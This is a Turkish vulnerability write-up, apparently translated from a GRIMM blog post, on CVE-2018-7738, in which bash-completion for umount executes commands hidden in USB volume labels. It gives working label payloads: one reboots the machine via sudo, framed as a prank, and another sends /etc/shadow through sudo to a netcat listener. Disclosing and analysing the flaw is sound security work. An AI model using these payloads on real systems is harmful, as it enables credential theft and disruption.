CVE-2018–7738: bash-completion Üzerinden Malicious Command Execution Zafiyeti
USB belleğimin ismini değiştirerek bir nevi ismiyle oynarken garip bir şeylerin olduğunu fark ettim. Buna sebep olan şey ise sürücü ismi olarak “ID” değerini vermem ve sürücüyü umount etmek istediğimde şunu görmemdi:
$ umount /dev/s<tab>ID: command not found
Burada bir şeyler belli ki yanlış gidiyordu. Bir deneme daha yaptıktan sonra geçerli cihazların listesini bastırmak istediğimde girdiğim komutun çalıştırıldığını fark ettim.
$ sed -n 44,45p /usr/share/bash-completion/completions/umount
DEVS_MPOINTS="$(mount | awk '{print $1, $3}')"
COMPREPLY=( $(compgen -W "$DEVS_MPOINTS" -- $cur) )
OS’da gezinirken umount için kullanılan bash-completion betiğinin 44. satırında betiğin ‘’ ya da $() içeren sürücü isimlerini çalıştırmak için bu karakterleri içeren değerleri de kabul ettiğini gördüm.
Bu problem elbette ki yeni bir problem değildi. Sene başında bundan daha ciddi olan, sürücü takıldığında çalıştırılmak üzere komutları kabul eden, KDE kaynaklı bir açık yayınlanmıştı.
Etkilenen Versiyon: Ubuntu 18.04
Şunu da belirtmekte fayda var util-linux 2.31 bash-completion mount/umount betiklerini kullanan herhangi bir dağıtımda da bu zafiyet görülebilir.
Keşif Ortamı: Ubuntu 18.04’de USB bellek isimleri ve tipleri ile denemeler yaparken keşfedildi.
Zafiyet İle Egzersizler:
Ben bu açığı geçersiz bir komutu denerken buldum çünkü kullandığım araç varsayılan olarak büyük harf kullanımını içeren DOS standardına dayanarak FAT32 bir bölüm oluşturdu fakat siz mkfs.fat aracını kullanırsanız araç size büyük harf kullanmaya yönelik bir dayatmada bulunmaz.
$ sudo mkfs.fat -I -n '`id`' /dev/sdb1
Bu komutu kullandığımda herhangi bir geri dönüş almadığımı fark ettim. Önce biraz kafam karışmıştı fakat sonrasında sistemin kodu doğru bir şekilde çalıştırdığını bu yüzden de bana bir çıktı vermediğini anladım.
Eğer bu açığı kullanarak biraz eğlenmek istersek FAT32 birimlerin isimleri 11 karakter ile sınırlı olduğundan NTFS gibi başka bir dosya sistemine ihtiyacımız olacak. Sürücüyü mount ve umount ederken muhtemelen kullanıcı sudo bilgilerini de cacheleyecek bu da bize ofiste şaka amaçlı kullanmak için bir USB bellek oluşturma fırsatını verecek. Bunun için şu komutu uçbirimimizde çalıştıralım:
$ sudo mkfs.ntfs -f -L '`IFS=,;a=sudo,reboot;\$a`' /dev/sdb1
Bu komut biraz eğlenmek için bize yeterli olacaktır ama gelin daha ilginç bir şeyler yapalım. Örneğin kendi zararlı USB belleğimizi oluşturalım. Bunun için şu komutu uçbirimimizde çalıştıralım:
$ sudo mkfs.ntfs -f -L '`IFS=,;sudo,cat,/etc/shadow,|,nc,127.0.0.1,31337;\$a`' /dev/sdb1
Daha sonrasında da başka bir uçbirimde şu komutu çalıştıralım:
$ nc -l 127.0.0.1 31337
Bu komut ile local ağımızı dinlemeye alıyoruz. Sonrasında USB belleğimizi bilgisayarımıza takalım ve umount komutumuzu girelim. Eğer öncesinde uçbiriminizde sudo bilgilerinizi cachlemişseniz etc/shadow dosyanızın içeriğinin nc ile dinlediğimiz uçbirimde gösterildiğini ve sisteminizin sıkıntılı bir durum olmamış gibi hiçbir bildirim vermediğini görmelisiniz.
Triaj:
Normalde Ubuntu Bionic git repo’sunda bulunan umount bash-completion betiği ile github repo’sunda bulunan betiklerden birisi sisteminizdeki betik ile eşleşir fakat bu dosyalardan herhangi birisi bendeki dosya ile eşleşmiyor. Bunun sebebini ararken bu betiklerin artık mount ve umount için olan, özelleşmiş fonksiyonlara sahip sistem araçlarının bash-completion betiklerinden değil de util-linux paketi tarafından sağlanan bash-completion betiklerinden alındığını öğrendim.
Ubuntu 18.04 için olan util-linux paket listesine bakıldığında 2.31 versiyonunun zafiyete sebep olan kodları içerdiği görülüyor. Bu sürüm ilk olarak 2013’de piyasaya sunuldu ve zafiyet sebebi bir sonraki sürüm olan 2.32’de zafiyetin kaynağı giderilmiş gibi gözüküyor.
Bu sıkıntı ile ilgili olan hata raporunda bu durumun bir güvenlik sorunu olarak değil de fonksiyonun işlevselliğinin bozulması olarak not düşülmesi ise bu hatanın güvenlikle ilgili bir taramada değil de diğer ek taramalarda bulunduğunu gösteren ilginç bir durum. Bunu destekleyen bir diğer olay ise zafiyetle ilgili yamanın zafiyet sebebinin keşfinden 4 ay sonrasında yayınlanmış olması çünkü eğer bu durum güvenliğe yönelik taramada keşfedilseydi yama muhtemelen daha kısa sürede yayınlanırdı.
Bu zafiyet sebebi aslında ilk olarak 5 yıl önce util-linux’un 2.24-rc1 versiyonunda görüldü fakat bu sırada Ubuntu’da mount ve umount için util-linux betikleri kullanılmıyordu ve 18.04 sürümüne kadar util-linux’daki zafiyet kaynağı Ubuntu için bir sorun teşkil etmiyordu ancak 18.04 sürümünde util-linux’un bahsedilen versiyonunun kullanılması Ubuntu’yu da zafiyetin etkilediği sistemler arasına soktu. Ubuntu’nun ileride gelecek olan 18.10 Cosmic sürümünde util-linux’un 2.32 versiyonunun kullanılması bekleniyor. Muhtemelen bu durum gerçekleştiğinde zafiyet de giderilmiş olacak.
Util-linux mount/umount bash-completion betiğinin 2.23 ve 2.31 versiyonları dahil olmak üzere aradaki versiyonlarda da zafiyete sebep olan bu kodların bulunduğunu ve bunları kullanan sistemlerde de bu zafiyetin olduğunu unutmayınız. Ben sadece Ubuntu 18.04 üzerinde çalışma gerçekleştirdim.
Benzer Diğer Zafiyet Kaynakları:
Eğer bu durum mount/umount için olan bir bash-completion betiğinde varsa neden diğerlerinde de olmasın ki? Bu neden sonuç ilişkisine dayanarak $ karakterinin gömülü olduğu betikleri ararken araştırmaya değer iki tane aracın betiğine denk geldim. Bu araçlarımız ise hcitool ve iwconfig.
hcitool:
Bazı yüzeysel deneylerden sonra hcitool (diğer hci ailesi araçları da) aracının aynı durum söz konusu olmasına rağmen sömürülebilecek bir açığa neden olmadığını deneyimledim.
$ head -n9 /usr/share/bash-completion/completions/hcitool
# bash completion for bluez utils -*- shell-script -*-
_bluetooth_addresses()
{
if [[ -n ${COMP_BLUETOOTH_SCAN:-} ]]; then
COMPREPLY+=( $( compgen -W "$( hcitool scan | \
awk '/^\t/{print $1}' )" -- "$cur" ) )
fi
}
Bu betik awk komutunun çıktılarını “” içine gömmekle neredeyse aynı işlevi görür fakat sadece çıktıdaki ilk sütunu aldığı için “” kısmı cihaz tarafından çalıştırılabilir bir işleme tabi tutulmuyor.
iwconfig:
Bu araçtaki durum da maalesef hcitool ile aynı yani sömürülebilir bir zafiyete neden olmuyor fakat sonuçları hcitool’a göre daha ilgi çekici.
ESSID için olan completion stringlerinin bir listesini oluşturmak amacıyla aşağıdaki teknik mükemmel bir şekilde işlemeliydi fakat bu işlem COMP_IWLIST_SCAN değeri tanımlanmadığı için işe yaramadı. Bu değeri tanımlayabilmek için de maalesef bir şey bulamadım.
$ sed -n 14,22p /usr/share/bash-completion/completions/iwconfig
essid)
COMPREPLY=( $( compgen -W 'on off any' -- "$cur" ) )
if [[ -n ${COMP_IWLIST_SCAN:-} ]]; then
COMPREPLY+=( $( compgen -W \
"$( iwlist ${words[1]} scan | \
awk -F'\"' '/ESSID/ {print $2}' )" -- "$cur" ) )
fi
return
;;
Anladığım kadarıyla bu özellik hiçbir zaman istenilen şekilde çalışmadı. Eğer bu durum hiçbir zaman düzeltilmediyse belki SSID’lere malicious stringler ile beraber bir değer girerek code execution işlemi gerçekleştirmesini sağlayacak özel bir koşul yazılabilir.
Süreç:
13.04.2013 umount kaynaklı hata util-linux’da sunuldu.
31.03.2016 umount kaynaklı hata Ubuntu’da sunuldu.
16.11.2017 umount kaynaklı hata util-linux reposundan giderildi.
06.03.2018 CVE-2018–7738 yayınlandı.
21.03.2018 hatanın giderildiği util-linux 2.32 versiyonu yayınlandı.
22.08.2018 Triaj başladı.
11.09.2018 Triaj tamamlandı.
14.09.2018 Bu triaj yazısı yayınlandı.
Okuduğunuz için teşekkür ederim. Umarım faydalı bir yazı olmuştur. Ağ güvenliği serimizin beşinci yazısıyla görüşmek üzere.
Kaynak: https://blog.grimm-co.com/post/malicious-command-execution-via-bash-completion-cve-2018-7738/